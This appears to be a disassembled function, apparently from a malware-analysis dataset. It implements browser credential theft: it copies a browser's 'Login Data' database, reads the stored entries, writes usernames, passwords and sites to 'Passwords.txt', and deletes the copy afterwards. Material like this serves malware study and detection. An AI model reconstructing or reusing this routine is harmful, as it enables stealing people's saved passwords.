Function at 0x51d480
Capabilities:
Delete file

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x538
mov rbx, rcx
lea rcx, [rsp + 0x2a0]
lea rsi, [rsp + 0x218]
call fcn.005c40b0
mov rax, qword [rbx + 0x18]
mov qword [rsp + 0x88], rax
lea rax, [rbx + 8]
mov qword [rsp + 0x68], rax
mov rdx, qword [rsp + 0x88]
cmp qword [rsp + 0x68], rdx
je 0x51dc51
lea rax, [rsp + 0x300]
add rdx, 0x20
mov rcx, rax
mov qword [rsp + 0x30], rax
call fcn.005ccea0
lea r14, [rsp + 0xb8]
mov rdx, qword [rsp + 0x30]
mov rcx, r14
call fcn.005d8360
lea rax, [rsp + 0x2c8]
lea rdx, [rsp + 0x320]
mov rcx, rax
mov qword [rsp + 0x40], rax
call fcn.0052db70
mov rcx, qword [0x0062bc60]
mov rdx, r14
call fcn.005fef20
mov rcx, rax
call fcn.005fc1f0
lea r12, [rsp + 0x358]
lea r8, [0x00615a70]
lea rdx, [0x0066e6c0]
mov rcx, r12
call fcn.005ff440
lea r13, [rsp + 0xd8]
mov r8, r14
mov rdx, r12
mov rcx, r13
call fcn.005ff300
mov rcx, r12
call fcn.005d5f80
mov rdx, r13
mov rcx, r12
call fcn.0040600c
mov rcx, r12
call fcn.0059a0f0
mov edi, eax
mov rcx, r12
call fcn.00405940
test dil, dil
jne 0x51d5ae
mov rdx, r13
mov rcx, r12
call fcn.0040600c
mov rcx, r12
call fcn.00597780
mov rcx, r12
call fcn.00405940
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0x38], rax
mov rdi, qword [rsp + 0x60]
cmp qword [rsp + 0x38], rdi
je 0x51dc1b
lea r15, [rsp + 0xf8]
mov rdx, qword [rsp + 0x38]
mov rcx, r15
call fcn.005d8360
mov rcx, qword [0x0062bc60]
mov rdx, r15
call fcn.005fef20
mov rcx, rax
call fcn.005fc1f0
or r8, 0xffffffffffffffff
lea rdx, [0x00615a70]
mov rcx, r15
call fcn.005467b0
cmp rax, 0xffffffffffffffff
je 0x51dc03
lea rbp, [rsp + 0x118]
or r9, 0xffffffffffffffff
lea r8, [rax + 1]
mov rdx, r15
mov rcx, rbp
call fcn.00546fd0
lea r8, [0x00615a70]
mov rdx, r13
mov rcx, r12
call fcn.005ff440
lea rdi, [rsp + 0x138]
mov r8, rbp
mov rdx, r12
mov rcx, rdi
call fcn.005ff300
mov rcx, r12
call fcn.005d5f80
mov rdx, rdi
mov rcx, r12
call fcn.0040600c
mov rcx, r12
call fcn.0059a0f0
mov ebp, eax
mov rcx, r12
call fcn.00405940
test bpl, bpl
jne 0x51d6a9
mov rdx, rdi
mov rcx, r12
call fcn.0040600c
mov rcx, r12
call fcn.00597780
mov rcx, r12
call fcn.00405940
lea r8, str.Login_Data
mov rdx, r15
mov rcx, r12
call fcn.005ff440
lea rax, [rsp + 0xa0]
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x70], r12
mov rcx, rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x78], 1
call fcn.004062a6
mov rcx, r12
call fcn.005d5f80
mov rax, qword [rsp + 0xa8]
mov rbp, qword [rsp + 0xa0]
mov qword [rsp + 0x58], rax
jmp 0x51d758
lea r15, [rsp + 0x158]
mov rdx, rbp
mov rcx, r15
call fcn.005d8360
mov rdx, r15
mov rcx, r12
call fcn.0040600c
mov rcx, r12
call fcn.0059a0f0
mov edi, eax
mov rcx, r12
call fcn.00405940
test dil, dil
jne 0x51d764
lea rcx, [rsp + 0x158]
add rbp, 0x20
call fcn.005d5f80
cmp rbp, qword [rsp + 0x58]
jne 0x51d712
jmp 0x51dbdf
mov rdx, r15
mov rcx, r12
call fcn.005d8360
lea rcx, [rsp + 0x178]
mov rdx, r12
call fcn.00404224
mov rcx, r12
call fcn.005d5f80
mov rcx, qword [0x0062bc60]
lea rdx, str.Database_copied_from_::
call fcn.005fecb0
mov rcx, rax
mov rdx, r15
call fcn.005fef20
mov rcx, rax
lea rdx, str._to_::
call fcn.005fecb0
lea rdi, [rsp + 0x178]
mov rcx, rax
mov rdx, rdi
call fcn.005fef20
mov rcx, rax
call fcn.005fc1f0
mov rcx, qword [0x0062bc60]
lea rdx, [rsp + 0xf8]
call fcn.005fef20
mov rcx, rax
call fcn.005fc1f0
mov rcx, qword [rsp + 0x178]
lea rdx, [rsp + 0x90]
call fcn.004bdfc0
mov r15d, eax
test eax, eax
je 0x51d835
mov rcx, qword [0x0062bc60]
lea rdx, str.Fail_opening_database__sqlite3_code:
call fcn.005fecb0
mov rcx, rax
mov edx, r15d
call fcn.00591610
mov rcx, rax
call fcn.005fc1f0
mov rcx, rdi
jmp 0x51dbd5
mov rcx, qword [0x0062bc60]
lea rdx, str.Database_opened
call fcn.005fecb0
mov rcx, rax
call fcn.005fc1f0
mov rdx, qword [rbx + 0x50]
mov rcx, qword [rsp + 0x90]
lea r9, [rsp + 0x98]
or r8d, 0xffffffff
mov qword [rsp + 0x20], 0
call fcn.004cc380
lea r15, [rsp + 0x278]
lea rdx, [rsp + 0x138]
lea r8, str.Passwords.txt
mov rcx, r15
call fcn.005ff440
lea rcx, [rsp + 0x358]
mov r8d, 0x10
mov rdx, r15
call fcn.005c1690
mov rcx, r15
call fcn.005d5f80
mov rcx, qword [0x0062bc60]
lea rdx, str.COntinued
call fcn.005fecb0
mov rcx, rax
call fcn.005fc1f0
mov rcx, qword [rsp + 0x98]
call fcn.004dcbc0
cmp eax, 0x64
jne 0x51db9a
mov rcx, qword [0x0062bc60]
lea rdx, str.New_Cookie
call fcn.005fecb0
mov rcx, rax
call fcn.005fc1f0
mov rcx, qword [rsp + 0x98]
xor edx, edx
call fcn.00444a90
mov rdx, rax
lea rcx, [rsp + 0x198]
call fcn.00405b00
mov rcx, qword [rsp + 0x98]
mov edx, 1
call fcn.00444a90
mov rdx, rax
lea rcx, [rsp + 0x1b8]
call fcn.00405b00
mov rcx, qword [rsp + 0x98]
mov edx, 2
call fcn.00444a90
mov rdx, rax
lea rcx, [rsp + 0x1d8]
call fcn.00405b00
lea rdi, [rsp + 0x1d8]
mov r9d, 3
xor r8d, r8d
mov rcx, rsi
lea rax, [rsp + 0x208]
mov rdx, rdi
mov qword [rsp + 0x200], 0
mov qword [rsp + 0x1f8], rax
mov byte [rsp + 0x208], 0
call fcn.00546fd0
cmp qword [rsp + 0x1a0], 0
je 0x51db59
cmp qword [rsp + 0x1c0], 0
je 0x51db59
cmp qword [rsp + 0x1e0], 0
je 0x51db59
lea rdx, [0x00615b20]
mov rcx, rsi
call fcn.005fec30
test al, al
jne 0x51da0a
lea rdx, [0x00615b24]
mov rcx, rsi
call fcn.005fec30
test al, al
jne 0x51da0a
lea r15, [rsp + 0x278]
mov rdx, rdi
mov rcx, r15
call fcn.005d8360
jmp 0x51da77
lea rax, [rsp + 0x278]
lea rdx, [rsp + 0x2e0]
mov rcx, rax
mov qword [rsp + 0x50], rax
call fcn.005d8360
lea r15, [rsp + 0x258]
mov rdx, rdi
mov rcx, r15
call fcn.005d8360
lea rdi, [rsp + 0x238]
lea r8, [rsp + 0x278]
mov rdx, r15
mov rcx, rdi
call fcn.0040489a
lea rcx, [rsp + 0x1f8]
mov rdx, rdi
call fcn.005d8960
mov rcx, rdi
call fcn.005d5f80
lea rcx, [rsp + 0x258]
jmp 0x51da9d
lea rdi, [rsp + 0x258]
mov rdx, r15
mov rcx, rdi
call fcn.0040401f
lea rcx, [rsp + 0x1f8]
mov rdx, rdi
call fcn.005d8960
mov rcx, rdi
call fcn.005d5f80
lea r15, [rsp + 0x278]
lea rcx, [rsp + 0x278]
call fcn.005d5f80
lea rdx, [0x00615b28]
mov rcx, r15
call fcn.00405b00
lea rdi, [rsp + 0x1f8]
mov rdx, r15
mov rcx, rdi
call fcn.005fec00
mov rcx, r15
mov byte [rsp + 0x50], al
call fcn.005d5f80
mov al, byte [rsp + 0x50]
test al, al
jne 0x51db59
lea rcx, [rsp + 0x358]
lea rdx, str.USERNAME_EMAIL_:
call fcn.005fecb0
mov rcx, rax
lea rdx, [rsp + 0x1b8]
call fcn.005fef20
mov rcx, rax
lea rdx, str.__PASSWORD_:
call fcn.005fecb0
mov rcx, rax
mov rdx, rdi
call fcn.005fef20
mov rcx, rax
lea rdx, str.__SITE:
call fcn.005fecb0
mov rcx, rax
lea rdx, [rsp + 0x198]
call fcn.005fef20
mov rcx, rax
lea rdx, [0x00615b47]
call fcn.005fecb0
mov rcx, rsi
call fcn.005d5f80
lea rcx, [rsp + 0x1f8]
call fcn.005d5f80
lea rcx, [rsp + 0x1d8]
call fcn.005d5f80
lea rcx, [rsp + 0x1b8]
call fcn.005d5f80
lea rcx, [rsp + 0x198]
call fcn.005d5f80
jmp 0x51d8ce
lea r15, [rsp + 0x358]
mov rcx, r15
call fcn.005c1260
mov rcx, qword [rsp + 0x90]
call fcn.0048dc50
mov rcx, qword [rsp + 0x178]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rcx, r15
call fcn.005c1dc0
lea rcx, [rsp + 0x178]
call fcn.005d5f80
jmp 0x51d747
mov rcx, qword [rsp + 0x48]
call fcn.00406120
lea rcx, [rsp + 0x138]
call fcn.005d5f80
lea rcx, [rsp + 0x118]
call fcn.005d5f80
lea rcx, [rsp + 0xf8]
call fcn.005d5f80
add qword [rsp + 0x38], 0x20
jmp 0x51d5c8
mov rcx, r13
call fcn.005d5f80
mov rcx, qword [rsp + 0x40]
call fcn.00406142
mov rcx, r14
call fcn.005d5f80
mov rcx, qword [rsp + 0x30]
call fcn.00406160
lea rcx, [rsp + 0x88]
call fcn.005c82f0
jmp 0x51d4c0
lea rcx, [rsp + 0x298]
call fcn.00406180
nop
add rsp, 0x538
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret